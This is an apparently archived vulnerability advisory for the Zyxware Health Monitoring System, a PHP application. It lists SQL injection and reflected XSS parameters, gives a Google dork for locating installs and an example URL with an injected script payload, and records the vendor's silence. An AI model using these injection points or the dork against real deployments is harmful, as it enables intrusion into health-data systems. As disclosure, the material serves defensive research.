Zyxware Health Monitoring System - Multiple Vulnerabilities

Author: Sarahma Security
type: webapps
platform: php
port: 
date_added: 2013-09-09 
date_updated: 2013-09-13 
verified: 1 
codes: OSVDB-97377;OSVDB-97376;OSVDB-97375;OSVDB-97374;OSVDB-97373;OSVDB-97372;OSVDB-97371 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comZyxware-Health-Monitoring-System-master.zip

# Exploit Title: Zyxware Health Monitoring System Multiple Vulnerability
# Google Dork: Inurl:maps/layers.php?bdywidth= (and more)
# Date: 07 Sep 2013
# Vendor Homepage: http://www.zyxware.com/
# Software Link:
https://github.com/zyxware/Zyxware-Health-Monitoring-System/
# Version:
# Tested on: Win 7/Backtrack
# CVE :
# Exploit Author: Sarahma Security
# Author Homepage: http://sarahma.co.id
# Author Email: research@sarahma.co.id


========================
SQL Injection
========================
Found on
http://localhost/healthmonitor/maps/diseaseinfo.php
Parameter : strDiseaseName
http://localhost/healthmonitor/maps/diseaseinfo.php?strDiseaseName=1'{SQLHERE}

Found On
http://localhost/healthmonitor/maps/summary.php
Parameter : opt
http://localhost/healthmonitor/maps/summary.php?opt=1'{SQL HERE}&type=Dist


========================
XSS Vulnerability
========================
Found On :
http://localhost/healthmonitor/maps/diseaseinfo.php
parameter : rightContent

http://localhost/healthmonitor/maps/googlemap.php
parameter : mapheight and mapwidth

http://localhost/healthmonitor/maps/khmheading.php
parameter : imageheight

http://localhost/healthmonitor/maps/moreinfo.php
parameter : rightContent

http://localhost/healthmonitor/maps/summary.php
parameter : opt  and rightContent

Example :
http://localhost/healthmonitor/maps/khmheading.php?imageheight=0&imagePadding=%22%3Cscript%3E%20alert%28%27XSS%27%29%3C/script%3E


========================
Solution :
========================
No Solution Until This Advisory Published


========================
Timeline:
========================
2013-09-03 Provided details vulnerability to vendor
2013-09-07 No Response From vendor
2013-09-08 Advisory published